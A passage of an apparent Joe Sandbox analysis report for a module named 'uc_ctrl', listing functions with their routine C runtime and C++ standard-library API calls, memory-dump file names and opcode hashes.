Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 0e15e23cc8ba46268afc89f71bda3c3df44c8891e2b3940a5b547ce7f63cb7fa
Instruction ID: fc84c51101a92408c49b20bc174b474737705f2807a50487b6f446379926cce6
Opcode Fuzzy Hash: 0e15e23cc8ba46268afc89f71bda3c3df44c8891e2b3940a5b547ce7f63cb7fa
Instruction Fuzzy Hash: 11F08C329007118BEB04EBA0C4027EEB2B0BF34729F905429D0466BBD0DFB8DA19C790

Function 6C93FFE2 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93FFE9
new.LIBCMT ref: 6C93FFFD

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C949FD4,00000000,?,?,?,00000004), ref: 6C940017

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C949FD4,00000000,?,?,?,00000004), ref: 6C94002B

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: c7f66d80db689731a5fc6f3ea7bb98849ef589058a518023c7a35bda473f42d8
Instruction ID: b49228848bee9b411e032f6d5911fedd5a9df4af806c336ac7744b3444d18de2
Opcode Fuzzy Hash: c7f66d80db689731a5fc6f3ea7bb98849ef589058a518023c7a35bda473f42d8
Instruction Fuzzy Hash: B5F08C329013118BEB04EBA0C4127EDB3B0BF34729F905429D0866BBD0DFB8DA18C780

Function 6C93DF30 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

?_Init@ios_base@std@@IAEXXZ.MSVCP140(?,?,6C93DE0D,?,?,?,?,?,?,00000008), ref: 6C93DF36

Part of subcall function 6C9347C0: __EH_prolog3.LIBCMT ref: 6C9347C7
Part of subcall function 6C9347C0: ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000000), ref: 6C9347F8
Part of subcall function 6C9347C0: new.LIBCMT ref: 6C9347FF
Part of subcall function 6C9347C0: ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000,00000000,?,?,?,?,?,00000000), ref: 6C93480B

?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WD@Z.MSVCP140(00000020,?,?,?,?,?,?,?,?,6C93DE0D,?,?), ref: 6C93DF49

Part of subcall function 6C93DF80: __EH_prolog3.LIBCMT ref: 6C93DF87
Part of subcall function 6C93DF80: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6C93DF4E,00000020,?,?,?,?,?,?,?,?,6C93DE0D,?,?), ref: 6C93DF90
Part of subcall function 6C93DF80: std::locale::~locale.LIBCPMT ref: 6C93DFA9

?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020,?,?,?,?,?,?,?,?,6C93DE0D,?,?), ref: 6C93DF63

Part of subcall function 6C934270: _CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6C934309

?_Addstd@ios_base@std@@SAXPAV12@@Z.MSVCP140(?,00000020,?,?,?,?,?,?,?,?,6C93DE0D,?,?), ref: 6C93DF6F

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@H_prolog3$?getloc@ios_base@std@@?widen@?$basic_ios@_Addstd@ios_base@std@@ExceptionInit@ios_base@std@@Init@locale@std@@Locimp@12@_ThrowU?$char_traits@_V12@@Vlocale@2@W@std@@@std@@std::locale::~locale
String ID:
API String ID: 3764480325-0
Opcode ID: 0df82c36292b0d5dcd72caee195b6b676590052e2b4a2341262e1a9b93b3cf8d
Instruction ID: 42c87bbb8e131ee2da9a4ee3074a4d5865c91ee036d20267be7cba76d93457ad
Opcode Fuzzy Hash: 0df82c36292b0d5dcd72caee195b6b676590052e2b4a2341262e1a9b93b3cf8d
Instruction Fuzzy Hash: AEF0E53122036067D72096719894B8B7BD8AF21728F40680EE48A57F80D775F8548B84

Function 6C94BBF1 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94BBF8
new.LIBCMT ref: 6C94BC0C

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C94D69E,00000000,?,?,?,00000004), ref: 6C94BC26

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C94D69E,00000000,?,?,?,00000004), ref: 6C94BC3A

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: fbbbc94919c9e70fae7f54a02a20c0ed55f1fc5ffa870f31a8682a13334e678b
Instruction ID: 05b9ec8faa5c6baf3bef09059a0cd241146937ac684093e5de31a46609f11a47
Opcode Fuzzy Hash: fbbbc94919c9e70fae7f54a02a20c0ed55f1fc5ffa870f31a8682a13334e678b
Instruction Fuzzy Hash: 1CF08C329003158BEB04EFA4C4527EDB2B4AF34729F905829D0866BBD0DFB8DA18C780

Function 6C9424B2 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9424B9
new.LIBCMT ref: 6C9424CD

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C949939,00000000), ref: 6C9424E7

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C949939,00000000), ref: 6C9424FB

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: efe547b5caedee53a6a3057a6bd7aebaa92603ba930bc9d88e9147f41825541b
Instruction ID: cdb66ab5b9680443d8add17216765d3c48654e176fc4d1ed8807ab297e1eeaaf
Opcode Fuzzy Hash: efe547b5caedee53a6a3057a6bd7aebaa92603ba930bc9d88e9147f41825541b
Instruction Fuzzy Hash: 22F082329003158BDB04DF60C4157ED72B4BF35729F905419D0456BBD0DFB8D618C740

Function 6C9426F2 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9426F9
new.LIBCMT ref: 6C94270D

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C949807,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C942727

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C949807,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C94273B

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: bcdd802d18a704c72fc53bdcbc1194a54ce40c8224c3bd4a79ca784878cb056d
Instruction ID: 3f1035d5258fcd08d8c4512ea8fc966e37853d5754e83247770a53f2c588ddf3
Opcode Fuzzy Hash: bcdd802d18a704c72fc53bdcbc1194a54ce40c8224c3bd4a79ca784878cb056d
Instruction Fuzzy Hash: 2EF08C329003158FEB14EBA0C4067EDB2B0BF34729F905429D046ABBD1DFB8DA19C754

Function 6C93D7E0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

?_Init@ios_base@std@@IAEXXZ.MSVCP140(?,?,6C93D26D,?,?,?,?,?,?,00000008), ref: 6C93D7E6

Part of subcall function 6C9347C0: __EH_prolog3.LIBCMT ref: 6C9347C7
Part of subcall function 6C9347C0: ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000000), ref: 6C9347F8
Part of subcall function 6C9347C0: new.LIBCMT ref: 6C9347FF
Part of subcall function 6C9347C0: ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000,00000000,?,?,?,?,?,00000000), ref: 6C93480B

?widen@?$basic_ios@GU?$char_traits@G@std@@@std@@QBEGD@Z.MSVCP140(00000020,?,?,?,?,?,?,?,?,6C93D26D,?,?), ref: 6C93D7F9

Part of subcall function 6C93D860: __EH_prolog3.LIBCMT ref: 6C93D867
Part of subcall function 6C93D860: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6C93D7FE,00000020,?,?,?,?,?,?,?,?,6C93D26D,?,?), ref: 6C93D870
Part of subcall function 6C93D860: std::locale::~locale.LIBCPMT ref: 6C93D889

?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020,?,?,?,?,?,?,?,?,6C93D26D,?,?), ref: 6C93D813

Part of subcall function 6C934270: _CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6C934309

?_Addstd@ios_base@std@@SAXPAV12@@Z.MSVCP140(?,00000020,?,?,?,?,?,?,?,?,6C93D26D,?,?), ref: 6C93D81F

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@H_prolog3$?getloc@ios_base@std@@?widen@?$basic_ios@Addstd@ios_base@std@@ExceptionG@std@@@std@@Init@ios_base@std@@Init@locale@std@@Locimp@12@_ThrowU?$char_traits@V12@@Vlocale@2@std::locale::~locale
String ID:
API String ID: 2706720733-0
Opcode ID: 58fd9580e92b3680a73949392902031fa997311a52833823e0047904ef72c7db
Instruction ID: 0cb756cf4138366ec1370eb605ed652bab882d4e0d881feab0ae0fe552d9e7e0
Opcode Fuzzy Hash: 58fd9580e92b3680a73949392902031fa997311a52833823e0047904ef72c7db
Instruction Fuzzy Hash: CFF0E53111036467D72096619454B8B77E8AF21738F00681EE98A57F80D775F4488BC4

Function 6C932E90 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C932E97
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000064), ref: 6C932EB9

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

_Getcvt.MSVCP140(?,00000064), ref: 6C932EC6

Part of subcall function 6C92F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6C92D26D,?), ref: 6C92F107
Part of subcall function 6C92F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F111
Part of subcall function 6C92F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F11A
Part of subcall function 6C92F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6C92D26D,?), ref: 6C92F130

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000064), ref: 6C932ED9

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbblead_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 3765203899-0
Opcode ID: c48af5ebd5bd772b4816d40e516be386772ab63d9c38fc0bf860df3630689b78
Instruction ID: 795104a98851d696bc216f7d40eda0301452d7d1db1fa921d6e960714dc3d3b1
Opcode Fuzzy Hash: c48af5ebd5bd772b4816d40e516be386772ab63d9c38fc0bf860df3630689b78
Instruction Fuzzy Hash: A6F08C32911214DBDF14DFA4C881BDDB7B1BB34318F50806AA404AF795DFB8DA18CBA4

Function 6C936EE0 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

___crtIsPackagedApp.LIBCPMT ref: 6C936EE3

Part of subcall function 6C95A020: ___crt_IsPackagedAppHelper.LIBCPMT ref: 6C95A02A

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C936EEC
___crtCreateSymbolicLinkW.LIBCPMT(?,?,00000000), ref: 6C936F05
GetLastError.KERNEL32 ref: 6C936F11

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Packaged___crt$CreateErrorHelperLastLinkSymbolic___crt__errno
String ID:
API String ID: 2330564887-0
